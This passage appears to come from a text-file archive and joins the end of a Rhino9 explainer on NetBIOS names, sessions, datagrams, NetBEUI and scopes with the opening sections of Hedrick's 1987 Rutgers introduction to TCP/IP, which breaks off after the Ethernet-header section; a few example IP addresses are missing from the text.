06 U RAS Server Service
1F U NetDDE Service
20 U File Server Service
21 U RAS Client Service
22 U Exchange Interchange
23 U Exchange Store
24 U Exchange Directory
30 U Modem Sharing Server Service
31 U Modem Sharing Client Service
43 U SMS Client Remote Control
44 U SMS Admin Remote Control Tool
45 U SMS Client Remote Chat
46 U SMS Client Remote Transfer
4C U DEC Pathworks TCPIP Service
52 U DEC Pathworks TCPIP Service
87 U Exchange MTA
6A U Exchange IMC
BE U Network Monitor Agent
BF U Network Monitor Apps
03 U Messenger Service
00 G Domain Name
1B U Domain Master Browser
1C G Domain Controllers
1D U Master Browser
1E G Browser Service Elections
1C G Internet Information Server
00 U Internet Information Server
[2B] U Lotus Notes Server
Forte_$ND800ZA [20] U DCA Irmalan Gateway Service

Unique (U): The name may have only one IP address assigned to it. On a network device, multiple occurences of a single name may appear to be registered, but the suffix will be unique, making the entire name unique.

Group (G): A normal group; the single name may exist with many IP addresses.

Multihomed (M): The name is unique, but due to multiple network interfaces on the same computer, this configuration is necessary to permit the registration. Maximum number of addresses is 25.

Internet Group (I): This is a special configuration of the group name used to manage WinNT domain names.

Domain Name (D): New in NT 4.0

For a quick and dirty look at a servers registered NetBIOS names and services, issue the following NBTSTAT command:

nbtstat -A [ipaddress]

NetBIOS Sessions

The NetBIOS session service provides a connection-oriented, reliable, full-duplex message service to a user process. NetBIOS requires one process to be the client and the other to be the server. NetBIOS session establishment requires a preordained cooperation between the two stations. One application must have issued a Listen command when another application issues a Call command. The Listen command references a name in its NetBIOS name table (or WINS server), and also the remote name an application must use to qualify as a session partner. If the receiver (listener) is not already listening, the Call will be unsuccessful. If the call is successful, each application receives notification of session establishment with the session-id. The Send and Receive commands the transfer data. At the end of a session, either application can issue a Hang-Up command. There is no real flow control for the session service because it is assumed a LAN is fast enough to carry the required traffic.

NetBIOS Datagrams

Datagrams can be sent to a specific name, sent to all members of a group, or broadcast to the entire LAN. As with other datagram services, the NetBIOS datagrams are connectionless and unreliable. The Send_Datagram command requires the caller to specify the name of the destination. If the destination is a group name, then every member of the group receives the datagram. The caller of the Receive_Datagram command must specify the local name for which it wants to receive datagrams. The Receive_Datagram command also returns the name of the sender, in addition to the actual datagram data. If NetBIOS receives a datagram, but there are no Receive_Datagram commands pending, then the datagram is discarded.

The Send_Broadcast_Datagram command sends the message to every NetBIOS system on the local network. When a broadcast datagram is received by a NetBIOS node, every process that has issued a Receive_Broadcast_Datagram command receives the datagram. If none of these commands are outstanding when the broadcast datagram is received, the datagram is discarded.

NetBIOS enables an application to establish a session with another device and lets the network redirector and transaction protocols pass a request to and from another machine. NetBIOS does not actually manipulate the data. The NetBIOS specification defines an interface to the network protocol used to reach those services, not the protocol itself. Historically, has been paired with a network protocol called NetBEUI (network extended user interface). The association of the interface and the protocol has sometimes caused confusion, but the two are different.

Network protocols always provide at least one method for locating and connecting to a particular service on a network. This is usually accomplished by converting a node or service name to a network address (name resolution). NetBIOS service names must be resolved to an IP address before connections can be established with TCP/IP. Most NetBIOS implementations for TCP/IP accomplish name address resolution by using either broadcast or LMHOSTS files. In a Microsoft enviroment, you would probably also use a NetBIOS Namer Server known as WINS.

NetBEUI Explained

NetBEUI is an enhanced version of the NetBIOS protocol used by network operating systems. It formalizes the transport frame that was never standardized in NetBIOS and adds additional functions. The transport layer driver frequently used by Microsofts LAN Manager. NetBEUI implements the OSI LLC2 protocol. NetBEUI is the original PC networking protocol and interface designed by IBM for the LanManger Server. This protocol was later adopted by Microsoft for their networking products. It specifies the way that higher level software sends and receives messages over the NetBIOS frame protocol. This protocol runs over the standard 802.2 data-link protocol layer.

NetBIOS Scopes

A NetBIOS Scope ID provides an extended naming service for the NetBIOS over TCP/IP (Known as NBT) module. The primary purpose of a NetBIOS scope ID is to isolate NetBIOS traffic on a single network to only those nodes with the same NetBIOS scope ID. The NetBIOS scope ID is a character string that is appended to the NetBIOS name. The NetBIOS scope ID on two hosts must match, or the two hosts will not be able to communicate. The NetBIOS Scope ID also allows computers to use the same computer namee as they have different scope IDs. The Scope ID becomes a part of the NetBIOS name, making the name unique.

Thats it for NetBIOS. If you have any comments or questions… direct them to

Rhino9: The WindowsNT Security Research Team:


An Introduction to the Internet Protocols by the Computer Science Facilities Group of Rutgers (July 3, 1987)

                        the Internet Protocols

                      C                       R

                              C       S
                  Computer Science Facilities Group
                              C       I

                      L                       S

                  The State University of New Jersey

                             3 July 1987

This is an introduction to the Internet networking protocols (TCP/IP).
It  includes  a  summary  of  the  facilities  available   and   brief
descriptions of the major protocols in the family.

Copyright  (C)  1987,  Charles  L. Hedrick.  Anyone may reproduce this
document, in whole or in  part,  provided  that:    (1)  any  copy  or
republication  of  the entire document must show Rutgers University as
the source, and must include this notice; and (2)  any  other  use  of
this  material  must reference this manual and Rutgers University, and
the fact that the material is copyright by Charles Hedrick and is used
by permission.

Unix is a trademark of AT&T Technologies, Inc.

                          Table of Contents

   1. What is TCP/IP?                                                1
   2. General description of the TCP/IP protocols                    5
       2.1 The TCP level                                             7
       2.2 The IP level                                             10
       2.3 The Ethernet level                                       11
   3. Well-known sockets and the applications layer                 12
       3.1 An example application: SMTP                             15
   4. Protocols other than TCP: UDP and ICMP                        17
   5. Keeping track of names and information: the domain system     18
   6. Routing                                                       20
   7. Details about Internet addresses: subnets and broadcasting    21
   8. Datagram fragmentation and reassembly                         23
   9. Ethernet encapsulation: ARP                                   24
   10. Getting more information                                     25


This document is a brief introduction to TCP/IP, followed by advice on
what to read for more information.  This  is  not  intended  to  be  a
complete  description.    It  can  give  you  a reasonable idea of the
capabilities of the protocols.  But if you need to know any details of
the  technology,  you  will  want  to  read  the  standards  yourself.
Throughout the text, you will find references to the standards, in the
form of "RFC" or "IEN" numbers.  These are document numbers. The final
section of this  document  tells  you  how  to  get  copies  of  those

1. What is TCP/IP?

TCP/IP  is a set of protocols developed to allow cooperating computers
to share resources across a network.  It was developed by a  community
of  researchers centered around the ARPAnet.  Certainly the ARPAnet is
the best-known TCP/IP network.  However as of June, 87, at  least  130
different  vendors  had products that support TCP/IP, and thousands of
networks of all kinds use it.

First some basic definitions.  The most accurate name for the  set  of
protocols we are describing is the "Internet protocol suite".  TCP and
IP are two of the protocols in this suite.  (They  will  be  described
below.)    Because  TCP and IP are the best known of the protocols, it
has become common to use the term TCP/IP or IP/TCP  to  refer  to  the
whole  family.  It is probably not worth fighting this habit.  However
this can lead to some oddities.  For example, I  find  myself  talking
about  NFS as being based on TCP/IP, even though it doesn't use TCP at
all.  (It does use IP.  But it  uses  an  alternative  protocol,  UDP,
instead  of TCP.  All of this alphabet soup will be unscrambled in the
following pages.)

The Internet is a  collection  of  networks,  including  the  Arpanet,
NSFnet, regional networks such as NYsernet, local networks at a number
of University and research institutions,  and  a  number  of  military
networks.  The term "Internet" applies to this entire set of networks.
The subset of them that is managed by the  Department  of  Defense  is
referred  to  as the "DDN" (Defense Data Network).  This includes some
research-oriented networks, such as  the  Arpanet,  as  well  as  more
strictly  military  ones.    (Because much of the funding for Internet
protocol developments is done via  the  DDN  organization,  the  terms
Internet  and  DDN  can  sometimes  seem  equivalent.)    All of these
networks are connected to each other.  Users can  send  messages  from
any  of  them  to  any other, except where there are security or other
policy restrictions on access.    Officially  speaking,  the  Internet
protocol  documents  are  simply  standards  adopted  by  the Internet
community for its own use.  More recently, the Department  of  Defense
issued a MILSPEC definition of TCP/IP.  This was intended to be a more
formal definition, appropriate for use in  purchasing  specifications.
However  most  of  the  TCP/IP community continues to use the Internet
standards.  The MILSPEC version is intended to be consistent with it.

Whatever it is called, TCP/IP is a family of protocols.  A few provide

"low-level" functions needed for many applications.  These include IP,
TCP, and UDP.  (These will be described in a bit more  detail  later.)
Others are protocols for doing specific tasks, e.g. transferring files
between computers, sending mail, or finding out who is  logged  in  on
another   computer.      Initially  TCP/IP  was  used  mostly  between
minicomputers or mainframes.  These machines had their own disks,  and
generally  were self-contained.  Thus the most important "traditional"
TCP/IP services are:

   - file transfer.  The file transfer protocol (FTP) allows a user on
     any computer to get files from another computer, or to send files
     to another computer.  Security is handled by requiring  the  user
     to  specify  a  user  name  and  password for the other computer.
     Provisions are made for handling file transfer  between  machines
     with different character set, end of line conventions, etc.  This
     is not quite the same thing as more recent "network file  system"
     or  "netbios"  protocols, which will be described below.  Rather,
     FTP is a utility that you run any time you want to access a  file
     on  another  system.    You  use  it to copy the file to your own
     system.  You then work with the local copy.   (See  RFC  959  for
     specifications for FTP.)

   - remote  login.    The network terminal protocol (TELNET) allows a
     user to log in on any other computer on the network.  You start a
     remote session by specifying a computer to connect to.  From that
     time until you finish the session, anything you type is  sent  to
     the  other  computer.   Note that you are really still talking to
     your own computer.  But the telnet program effectively makes your
     computer invisible while it is running.  Every character you type
     is sent directly to the other system.  Generally, the  connection
     to  the  remote  computer  behaves much like a dialup connection.
     That is, the remote system will ask you to  log  in  and  give  a
     password, in whatever manner it would normally ask a user who had
     just dialed it up.  When you log off of the other  computer,  the
     telnet  program exits, and you will find yourself talking to your
     own computer.  Microcomputer implementations of telnet  generally
     include  a  terminal  emulator  for some common type of terminal.
     (See RFC's 854 and 855 for specifications for  telnet.    By  the
     way,  the  telnet protocol should not be confused with Telenet, a
     vendor of commercial network services.)

   - computer mail.  This allows you to  send  messages  to  users  on
     other  computers.    Originally, people tended to use only one or
     two specific computers.  They  would  maintain  "mail  files"  on
     those machines.  The computer mail system is simply a way for you
     to add a message to another user's mail file.    There  are  some
     problems  with  this  in  an environment where microcomputers are
     used.  The most serious is that a micro is  not  well  suited  to
     receive  computer  mail.    When you send mail, the mail software
     expects to be able  to  open  a  connection  to  the  addressee's
     computer, in order to send the mail.  If this is a microcomputer,
     it may be turned off, or it may be running an  application  other
     than  the mail system.  For this reason, mail is normally handled
     by a larger system, where it is practical to have a  mail  server
     running all the time.  Microcomputer mail software then becomes a

     user interface that retrieves mail from the mail  server.    (See
     RFC  821  and  822 for specifications for computer mail.  See RFC
     937 for a protocol designed for microcomputers to use in  reading
     mail from a mail server.)

These  services  should  be  present  in any implementation of TCP/IP,
except that micro-oriented implementations may  not  support  computer
mail.  These traditional applications still play a very important role
in TCP/IP-based networks.  However more recently,  the  way  in  which
networks  are  used has been changing.  The older model of a number of
large, self-sufficient computers is beginning to  change.    Now  many
installations    have    several   kinds   of   computers,   including
microcomputers, workstations, minicomputers, and  mainframes.    These
computers  are  likely  to be configured to perform specialized tasks.
Although people are still likely to work with one  specific  computer,
that  computer  will  call on other systems on the net for specialized
services.  This has  led  to  the  "server/client"  model  of  network
services.    A server is a system that provides a specific service for
the rest of the network.  A client is another system  that  uses  that
service.    (Note  that the server and client need not be on different
computers.  They could be  different  programs  running  on  the  same
computer.)    Here  are  the  kinds  of servers typically present in a
modern computer setup.  Note that these computer services can  all  be
provided within the framework of TCP/IP.

   - network  file  systems.   This allows a system to access files on
     another computer in a somewhat more  closely  integrated  fashion
     than FTP.  A network file system provides the illusion that disks
     or other devices from one system are directly connected to  other
     systems.    There  is no need to use a special network utility to
     access a file on another system.  Your computer simply thinks  it
     has  some  extra disk drives.  These extra "virtual" drives refer
     to the other system's disks.    This  capability  is  useful  for
     several different purposes.  It lets you put large disks on a few
     computers, but still give others access to the disk space.  Aside
     from the obvious economic benefits, this allows people working on
     several computers  to  share  common  files.    It  makes  system
     maintenance  and  backup  easier, because you don't have to worry
     about updating  and  backing  up  copies  on  lots  of  different
     machines.    A  number  of  vendors  now  offer  high-performance
     diskless computers.  These computers have no disk drives at  all.
     They  are  entirely dependent upon disks attached to common "file
     servers".   (See  RFC's  1001  and  1002  for  a  description  of
     PC-oriented   NetBIOS   over   TCP.     In  the  workstation  and
     minicomputer area, Sun's Network File System is more likely to be
     used.    Protocol  specifications  for  it are available from Sun

   - remote printing.  This allows you to  access  printers  on  other
     computers  as if they were directly attached to yours.  (The most
     commonly used protocol is the remote  lineprinter  protocol  from
     Berkeley  Unix.  Unfortunately, there is no protocol document for
     this.  However the C code is easily obtained  from  Berkeley,  so
     implementations are common.)


   - remote  execution.   This allows you to request that a particular
     program be run on a different computer.  This is useful when  you
     can  do  most  of  your work on a small computer, but a few tasks
     require the resources of a larger system.  There are a number  of
     different  kinds  of remote execution.  Some operate on a command
     by command basis.  That is, you request that a  specific  command
     or  set  of commands should run on some specific computer.  (More
     sophisticated versions will choose a system that  happens  to  be
     free.)    However  there are also "remote procedure call" systems
     that allow a program to  call  a  subroutine  that  will  run  on
     another  computer.    (There  are  many  protocols  of this sort.
     Berkeley Unix contains two servers to execute commands  remotely:
     rsh  and  rexec.   The man pages describe the protocols that they
     use.  The user-contributed software with Berkeley 4.3 contains  a
     "distributed  shell"  that  will  distribute tasks among a set of
     systems, depending upon load.  Remote procedure  call  mechanisms
     have  been  a  topic  for research for a number of years, so many
     organizations have implementations of such facilities.  The  most
     widespread commercially-supported remote procedure call protocols
     seem to be Xerox's Courier and Sun's RPC.  Protocol documents are
     available  from  Xerox and Sun.  There is a public implementation
     of Courier over TCP as part of the user-contributed software with
     Berkeley  4.3.   An implementation of RPC was posted to Usenet by
     Sun, and also appears as part of  the  user-contributed  software
     with Berkeley 4.3.)

   - name  servers.    In  large  installations, there are a number of
     different collections of names that have to  be  managed.    This
     includes  users  and their passwords, names and network addresses
     for computers, and accounts.  It becomes  very  tedious  to  keep
     this data up to date on all of the computers.  Thus the databases
     are kept on a small number of systems.  Other systems access  the
     data over the network.  (RFC 822 and 823 describe the name server
     protocol used to keep track of host names and Internet  addresses
     on  the  Internet.    This  is  now a required part of any TCP/IP
     implementation.  IEN 116 describes an older name server  protocol
     that is used by a few terminal servers and other products to look
     up host names.  Sun's  Yellow  Pages  system  is  designed  as  a
     general  mechanism to handle user names, file sharing groups, and
     other databases commonly used by Unix  systems.    It  is  widely
     available  commercially.    Its  protocol definition is available
     from Sun.)

   - terminal servers.  Many installations no longer connect terminals
     directly  to  computers.    Instead they connect them to terminal
     servers.  A terminal server is simply a small computer that  only
     knows  how  to  run  telnet  (or some other protocol to do remote
     login).  If your terminal is  connected  to  one  of  these,  you
     simply  type the name of a computer, and you are connected to it.
     Generally it is possible to have active connections to more  than
     one  computer  at  the  same time.  The terminal server will have
     provisions to switch between connections rapidly, and  to  notify
     you  when  output  is  waiting for another connection.  (Terminal
     servers use the telnet protocol, already mentioned.  However  any
     real terminal server will also have to support name service and a

     number of other protocols.)

   - network-oriented  window  systems.      Until   recently,   high-
     performance  graphics  programs had to execute on a computer that
     had  a  bit-mapped  graphics  screen  directly  attached  to  it.
     Network  window  systems  allow  a  program to use a display on a
     different computer.  Full-scale network window systems provide an
     interface  that  lets you distribute jobs to the systems that are
     best  suited  to  handle  them,  but  still  give  you  a  single
     graphically-based  user  interface.  (The most widely-implemented
     window system is X. A  protocol  description  is  available  from
     MIT's  Project  Athena.  A reference implementation is publically
     available from MIT.  A number  of  vendors  are  also  supporting
     NeWS,  a window system defined by Sun.  Both of these systems are
     designed to use TCP/IP.)

Note that some of the  protocols  described  above  were  designed  by
Berkeley,  Sun,  or other organizations.  Thus they are not officially
part of the Internet protocol suite.   However  they  are  implemented
using  TCP/IP, just as normal TCP/IP application protocols are.  Since
the protocol definitions are not  considered  proprietary,  and  since
commercially-support  implementations  are  widely  available,  it  is
reasonable to think of these protocols as being  effectively  part  of
the  Internet  suite.   Note that the list above is simply a sample of
the sort of services  available  through  TCP/IP.    However  it  does
contain   the  majority  of  the  "major"  applications.    The  other
commonly-used protocols tend to be specialized facilities for  getting
information  of  various  kinds, such as who is logged in, the time of
day, etc.  However if you need a facility that is not listed here,  we
encourage  you  to  look  through  the  current  edition  of  Internet
Protocols (currently RFC 1011),  which  lists  all  of  the  available
protocols,   and   also   to   look   at  some  of  the  major  TCP/IP
implementations to see what various vendors have added.

2. General description of the TCP/IP protocols

TCP/IP is a layered set of protocols.  In  order  to  understand  what
this  means,  it is useful to look at an example.  A typical situation
is sending mail.  First, there is a protocol for mail.  This defines a
set  of  commands which one machine sends to another, e.g. commands to
specify who the sender of the message is, who it is being sent to, and
then  the  text  of  the  message.  However this protocol assumes that
there is a way to communicate  reliably  between  the  two  computers.
Mail,  like  other  application  protocols,  simply  defines  a set of
commands and messages to be sent.  It is designed to be used  together
with  TCP and IP. TCP is responsible for making sure that the commands
get through to the other end.  It keeps track of  what  is  sent,  and
retransmitts anything that did not get through.  If any message is too
large for one datagram, e.g. the text of the mail, TCP will  split  it
up  into  several  datagrams,  and  make  sure  that  they  all arrive
correctly.  Since these functions are needed  for  many  applications,
they are put together into a separate protocol, rather than being part

of the specifications for sending mail.   You  can  think  of  TCP  as
forming a library of routines that applications can use when they need
reliable network communications with another computer.  Similarly, TCP
calls  on the services of IP.  Although the services that TCP supplies
are needed by  many  applications,  there  are  still  some  kinds  of
applications  that  don't  need them.  However there are some services
that every application needs.  So these services are put together into
IP.    As  with TCP, you can think of IP as a library of routines that
TCP calls on, but which is also available to applications  that  don't
use  TCP.    This  strategy  of building several levels of protocol is
called "layering".  We think of  the  applications  programs  such  as
mail,  TCP, and IP, as being separate "layers", each of which calls on
the services of the layer below it.   Generally,  TCP/IP  applications
use 4 layers:

   - an application protocol such as mail

   - a  protocol  such  as  TCP  that  provides  services need by many

   - IP, which provides the basic  service  of  getting  datagrams  to
     their destination

   - the  protocols  needed to manage a specific physical medium, such
     as Ethernet or a point to point line.

TCP/IP is based on the "catenet model".  (This is  described  in  more
detail  in  IEN 48.)  This model assumes that there are a large number
of independent networks connected together  by  gateways.    The  user
should  be able to access computers or other resources on any of these
networks.   Datagrams  will  often  pass  through  a  dozen  different
networks  before  getting  to  their  final  destination.  The routing
needed to accomplish this should be completely invisible to the  user.
As  far  as  the  user  is concerned, all he needs to know in order to
access another system is an "Internet address".  This  is  an  address
that looks like  It is actually a 32-bit number.  However
it is normally written as 4 decimal numbers, each representing 8  bits
of  the  address.  (The term "octet" is used by Internet documentation
for such 8-bit chunks.  The term "byte" is not used, because TCP/IP is
supported  by  some computers that have byte sizes other than 8 bits.)
Generally the structure of the  address  gives  you  some  information
about  how  to  get  to  the  system.  For example, 128.6 is a network
number assigned by a central authority to Rutgers University.  Rutgers
uses  the  next  octet  to  indicate  which of the campus Ethernets is
involved.  128.6.4 happens to be an  Ethernet  used  by  the  Computer
Science  Department.    The last octet allows for up to 254 systems on
each Ethernet.  (It is 254 because 0 and  255  are  not  allowed,  for
reasons  that  will  be  discussed  later.)  Note that and would be different systems.  The structure of an  Internet
address is described in a bit more detail later.

Of  course  we  normally  refer  to  systems  by  name, rather than by
Internet address.  When we specify a name, the network software  looks
it  up  in  a  database,  and comes up with the corresponding Internet
address.  Most of the network software deals strictly in terms of  the

address.  (RFC 882 describes the name server technology used to handle
this lookup.)

TCP/IP is  built  on  "connectionless"  technology.    Information  is
transfered  as  a sequence of "datagrams".  A datagram is a collection
of data that is sent as a single message.  Each of these datagrams  is
sent  through  the network individually.  There are provisions to open
connections (i.e.  to start a conversation that will continue for some
time).    However at some level, information from those connections is
broken up into datagrams, and  those  datagrams  are  treated  by  the
network  as  completely  separate.    For example, suppose you want to
transfer a 15000 octet file.  Most networks can't handle a 15000 octet
datagram.   So the protocols will break this up into something like 30
500-octet datagrams.  Each of these datagrams  will  be  sent  to  the
other  end.    At  that point, they will be put back together into the
15000-octet file.  However while those datagrams are in  transit,  the
network doesn't know that there is any connection between them.  It is
perfectly possible  that  datagram  14  will  actually  arrive  before
datagram  13.    It is also possible that somewhere in the network, an
error will occur, and some datagram won't get through at all.  In that
case, that datagram has to be sent again.

Note  by  the way that the terms "datagram" and "packet" often seem to
be nearly interchangable.  Technically, datagram is the right word  to
use  when  describing  TCP/IP.  A datagram is a unit of data, which is
what the protocols deal with.  A packet is a physical thing, appearing
on an Ethernet or some wire.  In most cases a packet simply contains a
datagram, so there is  very  little  difference.    However  they  can
differ.  When TCP/IP is used on top of X.25, the X.25 interface breaks
the datagrams up into 128-byte packets.   This  is  invisible  to  IP,
because  the  packets  are put back together into a single datagram at
the other end before being processed by TCP/IP.  So in this case,  one
IP  datagram  would  be carried by several packets.  However with most
media, there are efficiency advantages to  sending  one  datagram  per
packet, and so the distinction tends to vanish.

2.1 The TCP level

Two separate protocols are involved in handling TCP/IP datagrams.  TCP
(the "transmission control protocol") is responsible for  breaking  up
the  message  into  datagrams,  reassembling  them  at  the other end,
resending anything that gets lost, and  putting  things  back  in  the
right  order.  IP (the "internet protocol") is responsible for routing
individual datagrams.  It may seem like TCP is  doing  all  the  work.
And  in  small networks that is true.  However in the Internet, simply
getting a datagram to its  destination  can  be  a  complex  job.    A
connection  may require the datagram to go through several networks at
Rutgers, a serial line to the John von Neuman Supercomputer Center,  a
couple  of Ethernets there, a series of 56Kbaud phone lines to another
NSFnet site, and more Ethernets on another campus.  Keeping  track  of
the  routes  to all of the destinations and handling incompatibilities
among different transport media turns out to be a complex job.    Note

that  the  interface  between TCP and IP is fairly simple.  TCP simply
hands IP a datagram with a destination.   IP  doesn't  know  how  this
datagram relates to any datagram before it or after it.

It  may  have occurred to you that something is missing here.  We have
talked about Internet addresses, but not about how you keep  track  of
multiple  connections  to  a given system.  Clearly it isn't enough to
get a datagram to the right  destination.    TCP  has  to  know  which
connection  this  datagram  is  part  of.  This task is referred to as
"demultiplexing."  In fact, there are several levels of demultiplexing
going  on in TCP/IP.  The information needed to do this demultiplexing
is contained in a series of "headers".  A header is simply a few extra
octets  tacked  onto  the  beginning of a datagram by some protocol in
order to keep track of it.  It's a lot like putting a letter  into  an
envelope  and  putting  an  address  on  the  outside of the envelope.
Except with modern networks it happens several times.  It's  like  you
put the letter into a little envelope, your secretary puts that into a
somewhat bigger envelope, the campus mail center  puts  that  envelope
into a still bigger one, etc.  Here is an overview of the headers that
get stuck on a message that passes through a typical TCP/IP network:

We start with a single data stream, say a file you are trying to  send
to some other computer:


TCP  breaks  it  up into manageable chunks.  (In order to do this, TCP
has to know how large a datagram your network can handle.    Actually,
the TCP's at each end say how big a datagram they can handle, and then
they pick the smallest size.)

   ....   ....   ....   ....   ....   ....   ....   ....

TCP puts a header at the front of each datagram.  This header actually
contains  at least 20 octets, but the most important ones are a source
and destination "port number" and  a  "sequence  number".    The  port
numbers  are used to keep track of different conversations.  Suppose 3
different people are transferring files.  Your TCP might allocate port
numbers 1000, 1001, and 1002 to these transfers.  When you are sending
a datagram, this becomes the "source" port number, since you  are  the
source  of  the  datagram.    Of  course  the TCP at the other end has
assigned a port number of its own for the conversation.  Your TCP  has
to  know the port number used by the other end as well.  (It finds out
when the connection starts, as we will explain below.)  It  puts  this
in  the  "destination" port field.  Of course if the other end sends a
datagram back to you, the source and destination port numbers will  be
reversed,  since  then  it  will  be  the  source  and you will be the
destination.  Each datagram has a sequence number.  This  is  used  so
that  the  other  end  can make sure that it gets the datagrams in the
right  order,  and  that  it  hasn't  missed  any.    (See   the   TCP
specification for details.)  TCP doesn't number the datagrams, but the
octets.  So if there are 500 octets of  data  in  each  datagram,  the
first datagram might be numbered 0, the second 500, the next 1000, the
next 1500, etc.  Finally, I will mention the  Checksum.    This  is  a
number  that  is  computed by adding up all the octets in the datagram

(more or less - see the TCP spec).  The result is put in  the  header.
TCP  at  the other end computes the checksum again.  If they disagree,
then something bad happened to the datagram in transmission, and it is
thrown away.  So here's what the datagram looks like now.

    |          Source Port          |       Destination Port        |
    |                        Sequence Number                        |
    |                    Acknowledgment Number                      |
    |  Data |           |U|A|P|R|S|F|                               |
    | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
    |       |           |G|K|H|T|N|N|                               |
    |           Checksum            |         Urgent Pointer        |
    |   your data ... next 500 octets                               |
    |   ......                                                      |

If  we abbreviate the TCP header as "T", the whole file now looks like

   T....   T....   T....   T....   T....   T....   T....

You will note that there are items in  the  header  that  I  have  not
described  above.    They  are  generally  involved  with managing the
connection.  In order to make sure the datagram  has  arrived  at  its
destination,  the  recipient  has  to  send back an "acknowledgement".
This is a datagram whose "Acknowledgement number" field is filled  in.
For  example,  sending  a  packet  with  an  acknowledgement  of  1500
indicates that you have received all the data up to octet number 1500.
If  the  sender  doesn't  get  an  acknowledgement within a reasonable
amount of time, it sends the data  again.    The  window  is  used  to
control  how  much  data can be in transit at any one time.  It is not
practical to wait for each datagram to be acknowledged before  sending
the  next  one.    That would slow things down too much.  On the other
hand, you can't just keep sending, or a fast  computer  might  overrun
the  capacity  of  a slow one to absorb data.  Thus each end indicates
how much new data it is currently prepared to absorb  by  putting  the
number  of  octets  in  its  "Window" field.  As the computer receives
data, the amount of space left in its window decreases.  When it  goes
to  zero, the sender has to stop.  As the receiver processes the data,
it increases its window, indicating that it is ready  to  accept  more
data.  Often the same datagram can be used to acknowledge receipt of a
set of data and to give permission for  additional  new  data  (by  an
updated  window).  The "Urgent" field allows one end to tell the other
to skip ahead in its processing to a particular octet.  This is  often
useful  for  handling asynchronous events, for example when you type a
control character or other command that interrupts output.  The  other
fields are beyond the scope of this document.


2.2 The IP level

TCP  sends each of these datagrams to IP.  Of course it has to tell IP
the Internet address of the computer at the other end.  Note that this
is  all  IP  is concerned about.  It doesn't care about what is in the
datagram, or even in the TCP header.  IP's job is  simply  to  find  a
route for the datagram and get it to the other end.  In order to allow
gateways or other intermediate systems to  forward  the  datagram,  it
adds  its  own  header.  The main things in this header are the source
and destination Internet address (32-bit addresses, like,
the  protocol  number,  and  another  checksum.    The source Internet
address is simply the address of your machine.  (This is necessary  so
the  other  end  knows where the datagram came from.)  The destination
Internet address is the address  of  the  other  machine.    (This  is
necessary  so  any  gateways  in  the  middle  know where you want the
datagram to go.)  The protocol number tells IP at  the  other  end  to
send  the  datagram  to TCP.  Although most IP traffic uses TCP, there
are other protocols that can use IP, so you  have  to  tell  IP  which
protocol  to send the datagram to.  Finally, the checksum allows IP at
the other end to verify that the header  wasn't  damaged  in  transit.
Note  that TCP and IP have separate checksums.  IP needs to be able to
verify that the header didn't get damaged in transit, or it could send
a  message to the wrong place.  For reasons not worth discussing here,
it is both more efficient and safer to have  TCP  compute  a  separate
checksum  for  the  TCP  header  and  data.  Once IP has tacked on its
header, here's what the message looks like:

    |Version|  IHL  |Type of Service|          Total Length         |
    |         Identification        |Flags|      Fragment Offset    |
    |  Time to Live |    Protocol   |         Header Checksum       |
    |                       Source Address                          |
    |                    Destination Address                        |
    |  TCP header, then your data ......                            |
    |                                                               |

If we represent the IP header by an "I",  your  file  now  looks  like

   IT....   IT....   IT....   IT....   IT....   IT....   IT....

Again,  the  header contains some additional fields that have not been
discussed.  Most of them are beyond the scope of this document.    The
flags  and fragment offset are used to keep track of the pieces when a
datagram has to be split up.   This  can  happen  when  datagrams  are
forwarded through a network for which they are too big.  (This will be
discussed a bit more below.)  The time to live is  a  number  that  is
decremented  whenever  the  datagram passes through a system.  When it
goes to zero, the datagram is discarded.  This is done in case a  loop

develops  in the system somehow.  Of course this should be impossible,
but  well-designed  networks  are  built  to  cope  with  "impossible"

At this point, it's possible that no more headers are needed.  If your
computer happens to have a direct phone  line  connecting  it  to  the
destination  computer,  or  to  a  gateway,  it  may  simply  send the
datagrams out on the line (though likely a synchronous  protocol  such
as  HDLC  would be used, and it would add at least a few octets at the
beginning and end).

2.3 The Ethernet level

However most of our networks these days use Ethernet.  So now we  have
to  describe  Ethernet's headers.  Unfortunately, Ethernet has its own
addresses.  The people who designed Ethernet wanted to make sure  that
no  two  machines  would  end  up  with  the  same  Ethernet  address.
Furthermore, they  didn't  want  the  user  to  have  to  worry  about
assigning  addresses.    So  each  Ethernet  controller  comes with an
address builtin from the factory.  In order to  make  sure  that  they
would  never have to reuse addresses, the Ethernet designers allocated
48 bits for the Ethernet address.  People who make Ethernet  equipment
have  to  register  with  a  central  authority, to make sure that the
numbers they assign don't overlap any other manufacturer.  Ethernet is
a "broadcast medium".  That is, it is in effect like an old party line
telephone.  When you send a packet out on the Ethernet, every  machine
on  the  network sees the packet.  So something is needed to make sure
that the right machine gets it.  As you might guess, this involves the
Ethernet  header.    Every  Ethernet packet has a 14-octet header that
includes the source and destination Ethernet address, and a type code.
Each machine is supposed to pay attention only to packets with its own
Ethernet address in the destination field.  (It's  perfectly  possible
to  cheat,  which  is  one reason that Ethernet communications are not
terribly secure.)  Note  that  there  is  no  connection  between  the
Ethernet address and the Internet address.  Each machine has to have a
table of what Ethernet address corresponds to what  Internet  address.
(We  will  describe  how  this  table is constructed a bit later.)  In
addition to the addresses, the header contains a type code.  The  type
code is to allow for several different protocol families to be used on
the same network.  So you can use TCP/IP, DECnet, Xerox  NS,  etc.  at
the  same  time.   Each of them will put a different value in the type
field.  Finally,  there  is  a  checksum.    The  Ethernet  controller
computes a checksum of the entire packet.  When the other end receives
the packet, it recomputes the checksum, and throws the packet away  if
the  answer  disagrees  with the original.  The checksum is put on the
end of the packet, not in the header.  The final result is  that  your
message looks like this:


    |       Ethernet destination address (first 32 bits)            |
    | Ethernet dest (last 16 bits)  |Ethernet source (first 16 bits)|
    |       Ethernet source address (last 32 bits)                  |
    |        Type code              |
    |  IP header, then TCP header, then your data                   |
    |                                                               |
    |                                                               |
    |   end of your data                                            |
    |                       Ethernet Checksum                       |

If  we  represent  the  Ethernet  header  with  "E",  and the Ethernet
checksum with "C", your file now looks like this:

   EIT....C   EIT....C   EIT....C   EIT....C   EIT....C

When these packets are received by the other end, of  course  all  the
headers  are  removed.    The  Ethernet interface removes the Ethernet
header and the checksum.  It looks at the type code.  Since  the  type
code  is the one assigned to IP, the Ethernet device driver passes the
datagram up to IP.  IP removes the IP header.   It  looks  at  the  IP
protocol  field.    Since  the  protocol  type  is  TCP, it passes the
datagram up to TCP.  TCP now looks at the sequence number.    It  uses
the  sequence  numbers  and  other  information  to  combine  all  the
datagrams into the original file.

The ends our initial summary of TCP/IP.  There are still some  crucial
concepts we haven't gotten to, so we'll now go back and add details in
